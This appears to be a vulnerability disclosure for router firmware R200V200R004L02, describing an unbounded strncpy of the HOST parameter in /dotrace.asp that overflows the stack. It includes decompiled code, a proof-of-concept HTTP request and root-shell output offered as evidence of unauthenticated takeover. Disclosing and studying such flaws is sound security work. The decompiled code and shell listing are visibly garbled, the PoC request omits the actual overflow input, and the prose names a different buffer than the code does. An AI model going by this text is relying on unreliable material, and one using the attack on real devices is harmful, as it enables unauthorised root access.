

The figure above shows the latest firmware.

Vulnerability details

```
int __fastcall sub_41F0EC(int a1, int a2)
 int v3; // $v0
 int v4; // [sp+20h] [+20h]
 int v5; // [sp+24h] [+24h]
 int v6; // [sp+24h] [+24h]
 int v7; // [sp+28h] [+28h]
  _DWORD_*v8: // [sp+2Ch] [+2Ch]
 char v9[64]; // [sp+30h] [+30h] BYREF
 int v10[5]; // [sp+70h] [+70h] BYREF
 char v11[20]; // [sp+84h] [+84h] BYREF
 int v12; // [sp+98h] [+98h] BYREF
 char v13[64]; // [sp+9Ch] [+9Ch] BYREF
 char v14[20]; // [sp+DCh] [+DCh] BYREF
 int v15; // [sp+F0h] [+F0h] BYREF
 int v16; // [sp+F4h] [+F4h] BYREF
 int v17; // [sp+F8h] [+F8h] BYREF
 int v18; // [sp+FCh] [+FCh] BYREF
 int v19[10]; // [sp+100h] [+100h] BYREF
 int v20[6]; // [sp+128h] [+128h] BYREF
 char v21[200]; // [sp+140h] [+140h] BYREF
 memset(v10, 0, sizeof(v10));
 v17 = -1;
 v18 = 0
 v19[0] = (int)"traceroute";
 v19[1] = (int)"-In";
v19[2] = (int)"-s";
 v19[3] = (int)v14;
 v19[4] = (int)"-o";
 v19[5] = (int)v11;
 v19[6] = (int)"-k";
 v19[7] = (int)"file";
 v19[8] = (int)v13;
 v19[9] = 0;
 v20[0] = (int)"traceroute";
 v20[1] = (int)"-In";
 v20[2] = (int)"-k";
 v20[3] = (int)"file";
 v20[4] = (int)v13;
 \vee 20[5] = 0;
 if ( !*( DWORD *)(a2 + 164) || !**(_BYTE **)(a2 + 164) )
   return sub_487144(a2, (int)"<TR class=textCell><TD colspan=5>### Trace failed ###</TD>
 \sqrt{7} = 0;
 v7 = strstr(*(_DWORD *)(a2 + 164), "HOST=");
 v5 = str(hr(*(_DWORD *)(a2 + 164), '&');
 if (!\/7 | !\/5 )
 return sub_187144(.3 (int)"<TR class=textCell><TD colspan=5>### Invalid parameter ###
strncpy(v9, v7 + 5, v5 - v7 - 5);
between "HOST=" and "%"
 v9[v5 - v7 - 5] = 0;
 \sqrt{7} = 0;
 v7 = strstr(*(DWORD *)(a2 + 164), "INTF=");
 if ( v7 )
   v6 = strchr(v7, '&');
```

The data between "HOST=" and "&" is copied to the V10 array through the strncpy function, which causes stack overflow without limiting the size of the copy.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Use the fat simulation firmware R200V200R004L02.bin
- 2. Attack with the following POC attacks

GET /dotrace.asp? HTTP/1.1 Host: 192.168.124.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0. Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2Accept-Encoding: gzip, deflate DNT: 1 Connection: close Referer: http://192.168.124.1/maintain_diag.asp Cookie: LOGIN_PSD_REM_FLAG=; PSWMOBILEFLAG=; LOGINCOUNT=; USERLOGINIDFLAG= Upgrade-Insecure-Requests: 1 ① 页面载入出错 i) 192.168.124.1 ← → G 连接超时 192.168.124.1 的服务器响应时间过长。 • 此站点暂时无法使用或者太过忙碌。请过几分钟后再试。 • 如果您无法载入任何网页,请检查您计算机的网络连接状态。 • 如果您的计算机或网络受到防火墙或者代理服务器的保护,请确认 Firefox 已被授权访问网络。

The above figure shows the POC attack effect

Finally, you can write exp, which can obtain a stable root shell without authorization

```
BusyBox v1.2.0 (2019.11.07-05:21+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
 # ls -l
drwxrwxr-x
               2 1000
                           1000
                                          7748 Nov
                                                        2019 www
              10 *root
                           root
                                             0 Jan
                                                        1970 var
drwxr-xr-x
                           1000
                                            49 Nov
               5 1000
                                                        2019 usr
drwxrwxr-x
               3 1000
                           1000
                                            26 Nov
                                                        2019 uclibc
drwxrwxr-x
                           1000
               1 1000
                                               Nov
                                                        2019 tmp -> var/tmp
.FWXFWXFWX
                                                        1970 sys
                           root
                                             0
                                               Jan
r-xr-xr-x
               1 1000
                           1000
                                               Nov
                                                        2019 sbin -> bin
. CWXCWXCWX
                                             3
                                             0 Jan
                                                        1970 ргос
                           root
drwxr-xr-x
               9 *root
                           root
                                             0 Jan
                                                        1970 mnt
               1 1000
                           1000
                                             3 Nov
                                                        2019 lib32 -> lib
. FWXFWXFWX
               4 1000
                           1000
                                          2452 Nov
                                                        2019 lib
                 1000
                           1000
                                             9 Nov
                                                        2019 init -> sbin/init
L F W X F W X F W X
                 1000
                           1000
                                             3 Nov
                                                        2019 home
drwxrwxr-x
               2 1000
                           1000
                                             3 Nov
                                                        2019 ftproot
drwxrwxr-x
              10 *root
                           root
                                             0 Jan
                                                        1970 etc
drwxr-xr-x
               4 1000
                           1000
                                          2539 Nov
                                                        2019 dev
drwxrwxr-x
                           1000
drwx<u>r</u>-xr-x
               2 1000
                                          1446 Nov
                                                        2019 bin
```